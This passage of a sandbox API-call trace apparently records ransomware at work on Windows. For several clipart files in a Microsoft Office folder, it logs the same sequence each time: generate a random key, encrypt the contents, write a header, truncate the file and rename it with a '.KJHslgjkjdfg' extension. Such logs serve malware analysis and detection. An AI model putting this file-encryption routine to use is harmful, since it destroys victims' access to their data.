dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.016] GetProcessHeap () returned 0x990000 [0195.016] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0195.016] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0195.017] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0195.017] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0195.073] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.073] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.073] GetProcessHeap () returned 0x990000 [0195.073] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0195.073] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0195.073] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.073] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0195.073] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0195.073] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0195.074] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0195.074] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0195.074] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.074] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.074] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.074] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.074] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2c4c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2c4c, lpOverlapped=0x0) returned 1 [0195.123] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2c50, dwBufLen=0x2c50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2c50) returned 1 [0195.123] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.124] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2c50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2c50, lpOverlapped=0x0) returned 1 [0195.124] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.124] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.124] SetEndOfFile (hFile=0x130) returned 1 [0195.126] GetProcessHeap () returned 0x990000 [0195.126] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0195.126] GetProcessHeap () returned 0x990000 [0195.126] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0195.126] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf.kjhslgjkjdfg")) returned 1 [0195.127] CloseHandle (hObject=0x130) returned 1 [0195.127] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4030, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152556.WMF", cAlternateFileName="")) returned 1 [0195.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.128] GetProcessHeap () returned 0x990000 [0195.128] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0195.128] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0195.128] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0195.128] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.128] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.128] GetProcessHeap () returned 0x990000 [0195.128] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0195.129] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0195.129] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.129] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0195.464] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0195.464] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0195.464] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0195.464] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0195.464] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.464] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.464] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.464] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.465] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4030, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4030, lpOverlapped=0x0) returned 1 [0195.466] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4030, dwBufLen=0x4030 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4030) returned 1 [0195.466] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.466] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4030, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4030, lpOverlapped=0x0) returned 1 [0195.467] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.467] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.467] SetEndOfFile (hFile=0x130) returned 1 [0195.469] GetProcessHeap () returned 0x990000 [0195.469] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0195.469] GetProcessHeap () returned 0x990000 [0195.469] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0195.469] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf.kjhslgjkjdfg")) returned 1 [0195.471] CloseHandle (hObject=0x130) returned 1 [0195.471] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3eb4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152558.WMF", cAlternateFileName="")) returned 1 [0195.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.472] GetProcessHeap () returned 0x990000 [0195.472] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0195.472] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0195.472] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0195.472] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0195.689] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.689] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.689] GetProcessHeap () returned 0x990000 [0195.689] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0195.689] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0195.689] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.689] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0195.689] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0195.689] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0195.689] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0195.689] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0195.690] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.690] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.690] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.690] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.690] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3eb4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3eb4, lpOverlapped=0x0) returned 1 [0195.691] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3ec0, dwBufLen=0x3ec0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3ec0) returned 1 [0195.692] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.692] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3ec0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3ec0, lpOverlapped=0x0) returned 1 [0195.692] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.692] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3f94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.692] SetEndOfFile (hFile=0x130) returned 1 [0195.695] GetProcessHeap () returned 0x990000 [0195.695] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0195.695] GetProcessHeap () returned 0x990000 [0195.695] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0195.695] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf.kjhslgjkjdfg")) returned 1 [0195.697] CloseHandle (hObject=0x130) returned 1 [0195.697] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152560.WMF", cAlternateFileName="")) returned 1 [0195.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.698] GetProcessHeap () returned 0x990000 [0195.698] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0195.698] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0195.698] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0195.698] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.698] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.698] GetProcessHeap () returned 0x990000 [0195.698] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0195.698] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0195.698] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.698] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0195.700] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0195.701] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0195.701] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0195.701] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0195.701] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.701] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.701] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.701] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.701] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2a80, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2a80, lpOverlapped=0x0) returned 1 [0195.702] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2a80, dwBufLen=0x2a80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2a80) returned 1 [0195.702] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.702] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2a80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2a80, lpOverlapped=0x0) returned 1 [0195.702] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.703] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2b54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.703] SetEndOfFile (hFile=0x130) returned 1 [0195.704] GetProcessHeap () returned 0x990000 [0195.704] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0195.704] GetProcessHeap () returned 0x990000 [0195.704] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0195.704] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf.kjhslgjkjdfg")) returned 1 [0195.705] CloseHandle (hObject=0x130) returned 1 [0195.705] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152568.WMF", cAlternateFileName="")) returned 1 [0195.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.707] GetProcessHeap () returned 0x990000 [0195.707] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0195.707] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0195.707] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0195.707] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.707] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.707] GetProcessHeap () returned 0x990000 [0195.707] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0195.707] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0195.707] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.707] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0195.709] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0195.709] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0195.709] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, 